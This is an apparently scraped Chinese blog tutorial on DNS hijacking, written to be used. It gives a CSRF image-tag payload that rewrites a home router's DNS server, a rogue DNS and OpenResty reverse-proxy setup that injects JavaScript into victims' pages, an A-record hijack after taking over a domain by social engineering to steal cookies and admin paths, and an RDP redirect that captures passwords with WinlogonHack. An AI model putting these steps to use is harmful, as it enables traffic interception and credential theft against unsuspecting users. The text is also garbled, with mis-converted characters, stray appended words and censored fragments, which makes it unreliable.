我劫持你的dns

   这篇文章把Dns分为两种,一种是主机或嵌入式设备dns,一种是网站域名dns,来说述dns沦陷以后带来的危害。linux

一:路由器dns劫持nginx

   你本地的网络链接的dns是经过路由器获取的,假若有一天你家里的路由被******了,***者修改了你家里路由器的dns,那么他能够对你访问记录很是清楚,如系在文件,流量记录。既然解析都经过dns,咱们彻底能够自建dns,来进行***。git

    1.路由器怎么样沦陷github

         ***手法:csrf  路由器漏洞chrome

        CSRFshell

         IE 出了一个安全补丁,禁止了Http Authentication Url, 使用此方法在IE下***是无效的 完美兼容FF chrome。 https://support.microsoft.com/zh-cn/kb/834489windows

         <img src=http://192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=恶意的dns地址&dnsserver2=0.0.0.0&Save=%B1%A3+%B4%E6></img>安全

        设备漏洞服务器

烽火通讯某款路由器被爆存在漏洞-可远程修改DNScookie

http://www.exploit-db.com/exploits/28450/

    2.自建dns(window)

     在这里我使用微软自家产,(彻底能够用其余产品代替,我的习惯问题)

     wKioL1ZxVCfDmzBCAABDds_fMBg567.png

        配置劫持域名

         myhack58.com

     wKioL1ZxVFaRrRCUAAAkNCrr8pk332.png

        转发器配置

             转发器解决这台服务器没有应答的dns查询请求, 如这台主机只有myhack58.com, baidu.com等是不存在的,这种状况把会把baidu.com请求转发到你配置的dns去解析。我配置解析的dns是8.8.8.8

     wKioL1ZxVJPjc6OVAAAlqIu2ruY558.png

        配置劫持域名A记录

            刚才dns填写是跟域,这时候须要对A记录进行解析,好比我劫持www.myhack58.com到本地127.0.0.1。

   wKiom1ZxVP6QDPxnAAAyy247UR8307.png

            我这解析是vps的IP,测试能够写127.0.0.1。但要用起来你解析写公网ip地址,否则别人解析是127.0.0.1,127.0.0.1是你本地,找不到的地址,没办法跟反向代理代理配合。

   wKiom1ZxVSnDbwfRAAA0pfsG_MQ893.png

    

        测试dns是否配置成功

            可使用dnslookup ping 等去测试

    wKioL1ZxVXOhgTVrAAAnyfn9jO0629.png

            Dns已配置成功,虽然如今解析本地了,我本地难道就只能挂个黑页?固然不是,个人目的是要求是替换页面的内容.好比插入js,修改某个文字等。

客户端的配置

            因为我在公司没有路由器,直接使用客户端作测试,客户端的dns获取来源仍是路由器

    wKioL1ZxVbqSehVZAAAfc5KpWQY299.png

            这时候配置成功,你能够打开baidu.com来测试,是否能够解析,正常打开。

wKioL1ZxVcjR4-EvAAEiLeIK4Ew281.png

    3.反向代理搭建

        反向代理来这里启到做用是,把dns解析www.myhack58.com的vps的这个请求代理到真实的解析。

        咱们要作的事情 要给页面插入一段js。

        Openresty介绍

            在这里咱们使用Openresty,Openresty是基于nginx,它打包了标准的 Nginx 核心,不少的经常使用的第三方模块,nginx第三方模块都须要编译,在window下比较恶心 我直接找了一个Openresty_For_Windows,已打包我想要的是第三方模块http_sub_module。

        下载地址:

        https://github.com/LomoX-Offical/nginx-openresty-windows

        使用nginx  -V 查看已支持的第三方模块 

        http_sub_module缺点

            1.只能使用一条规则

            2.不支持中文

        反向代理配置

            监听端口vps的公网IP的80端口.当dns查询请求解析到本地80的时候,80正好监听vps公网ip,反向代理是myhack58.com。实际上vps公网ip是myhack58.com

         打开/conf/nginx.conf文件进行配置

         使用了http_sub_module,替换了内容把

         </head>换成</head><script sec=safe.js></script>,我故意写错 写成sec=

         wKioL1ZxVsOhpA7kAAAcoCiQ0i8280.png

        测试是否成功

            先前已经把dns设置过去了,如今也能够ping通,那咱们就查看源码 是否替换了页面内容。wKiom1ZxVwOB3LuuAADs50t9Tz0802.png

            配置其余功能

                如今dns加反向代理配置已经完成了,你能够替换他的页面了

            Openresty配置反向代理,你要是须要其余的配置还能够设置不少参数,如proxy_cache proxy_header  proxy_send_timeout  proxy_read_timeout。取决于本身用途。

二:网站域名dns劫持

        当你经过社工拿到了某个域名权限, 可是你的目的是getshell,这时候你能够作反向代理,能够从两方面下手去作。

    A记录劫持演示

        直接修改域名劫持到A记录的你的恶意反向代理,可是这时候反向代理必须有配置upstream,在upstream指定原域名解析的ip地址,路由器劫持dns没有配置upstream 是由于上层的dns还能够解析到劫持域名的真实ip,而你这时候意见把A记录解析修改到了你的恶意反向代理机器,不去指定解析的地址, 上层找到解析的地址仍是恶意的反向代理,造成一个死循环,永远打不开网站。

        域名A记录劫持

        www.sanr.org  192.168.182.128

        反向代理      192.168.182.129

  wKiom1ZxV_iQfIouAAAWKXi2OZs330.png

        为何要劫持A记录

            如你经过社工之类拿到了域名的控制权限,这时候你想获取他的后台地址,或者cookie等你就须要这样作。

            目前我已经控制sanr.org的域名解析权限,如今咱们要作的是把www.sanr.org的A记录解析到192.168.182.129。让反向代理去访问真实的ip(也就是192.168.182.128),在反向代理的时候咱们动手脚,插个js代码进去。

        没修改A记录以前

wKiom1ZxWEmCYkZmAAF0J8BjQ0Q968.png

    修改域名A记录

        修改域名到反向代理服务器 192.168.182.129

 wKioL1ZxWIrDMJ43AAATAFB1rHk556.png

        反向代理服务器搭建(192.168.182.129)

            绑定域名为www.sanr.org 端口80,并指定上游(upstream)地址是192.168.182.128,必须指定上游地址(upstream),只有proxy_pass无upstream他会自动请求解析A记录。

            路由器dns劫持那块没有用upstream是由于域名的A记录的iP地址你能够经过proxy_pass获取到。

            而如今域名A记录解析是反向代理机器也就是本机(192.168.182.129),如不使用upstrema去指定真实的IP地址,proxy_pass直接去解析到的是本地IP,那么就会形成死循环,一直解析的都是本机。

下面是反向代理配置文件。

wKioL1ZxWNWQkBOKAAA6QVHP1ZM659.png

        劫持成功

             成功的给sanr.org的植入safe.js代码

wKiom1ZxWQDSvk1JAALBDmQnwQM723.png

    dns劫持

        跟路由器劫持dns同样,自建dns,以后把域名的dns解析配置的A记录解析到恶意的反向代理,反向代理中仍是要指定upstream,跟a记录劫持同样,否则形成死循环。 

       Dns服务 反向代理软件有不少,彻底取决于本身的习惯,用本身最喜欢的。

    Dns win

      WinMyDNS

      微软自家

    Dns linux 

      dnschef   “msfconsole  auxiliary/server/fakedns”

      Powerdns bind 等 linux开源项目太多

    反向代理

     Squid  Varnish nginx 或者nginx 衍生版(Tengine  Openresty)

wKiom1ZxWffjbySJAASyBJESYFE665.png

    ***手法不只仅是替换网页内容 插入js,如劫持你路由器的dns, 链接3389也是输入域名也是经过dns解析的,我彻底能够把A记录劫持我本地,链接3389是我本机的机器,以后安装WinlogonHack,来记录密码,WinlogonHack须要改为即便是错误密码也要记录,否则记录不到。

    把www.baidu.com解析到我vps主机的ip

wKioL1ZxWnrSNHZmAAA0KhGwnOs810.png    Dns已生效,解析baidu.com也返回是vps主机的ip

wKiom1ZxWpnzToK8AAAgXYtopxY427.png

    链接3389(其实这时候是我vps的IP)

    wKioL1ZxWsPh8RQvAACQeQDHVpc930.png

    只要涉及到域名解析的 本地host  本地客户端dns  路由器dns,均可以这样去劫持,***手法变化多样,看你出自于什么目地去作。

   doc文档github下载

相关文章
相关标签/搜索